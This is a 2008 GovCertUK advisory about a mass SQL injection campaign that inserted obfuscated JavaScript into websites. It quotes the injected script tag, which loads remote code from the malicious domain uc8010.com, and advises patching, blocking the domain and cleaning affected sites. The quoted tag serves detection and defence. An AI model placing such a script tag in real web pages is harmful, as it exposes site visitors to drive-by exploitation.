



Issued: 10/01/2008

Malicious Domain Advisory – uc8010.com

GovCertUK are aware of a number of systems that have been compromised by a well publicised SQL injection attack. The SQL statement injects malicious JavaScript into vulnerable web pages, and is obfuscated, but will easily be detectable in web site log files. The JavaScript that is added contacts a known malicious domain – uc8010.com. **Do not browse to this website - it is known to be malicious.**

There are a number of articles about this attack on the Internet:

- http://www.theregister.co.uk/2008/01/08/malicious_website_redirectors
- http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html - this site includes a sample web log file showing the SQL Injection attack.

The injected script will take the form:

```
<script src=http://(random_subdomain)(dot)uc8010(dot)com/0.js></script>
```

When a user is redirected to this malicious domain, it will attempt to exploit the user's system through previously patched vulnerabilities. Patches are available for these vulnerabilities and it is highly advisable that users apply these. The vulnerabilities in question are covered by Microsoft advisories [MS06-071](#) and [MS07-009](#). It is also recommended that the domain uc8010.com be blocked.

GovCertUK advises webmasters to check their sites for the injected JavaScript pointing to uc8010.com. If the script is found, it is strongly advised that all the links be removed. As the original exploit works by using a SQL injection attack, it is highly recommended that the web server software, operating system, firmware, and applications are fully patched and properly configured before restoring the web site.

References:

<https://www.microsoft.com/technet/security/Bulletin/MS06-071.msp>

<https://www.microsoft.com/technet/security/Bulletin/MS07-009.msp>

Malicious Domain Advisory - Date: 10/01/2008

GovCertUK is responsible for Computer Security Incident Response within UK Government, and provides an emergency response capability to public sector organisations that may require technical support and advice during periods of electronic attack or other network security incidents.

The CESG GovCertUK Incident Response team provides 24 hours a day, 7 days a week operation and can be contacted by the following methods:

Telephone:	01242 709311
Fax:	01242 709113
General Enquiries:	enquiries@govcertuk.gov.uk
Incidents & Alerts:	incidents@govcertuk.gov.uk
Restricted communications (GSI only):	govcertuk@cesg.gsi.gov.uk
Website:	www.govcertuk.gov.uk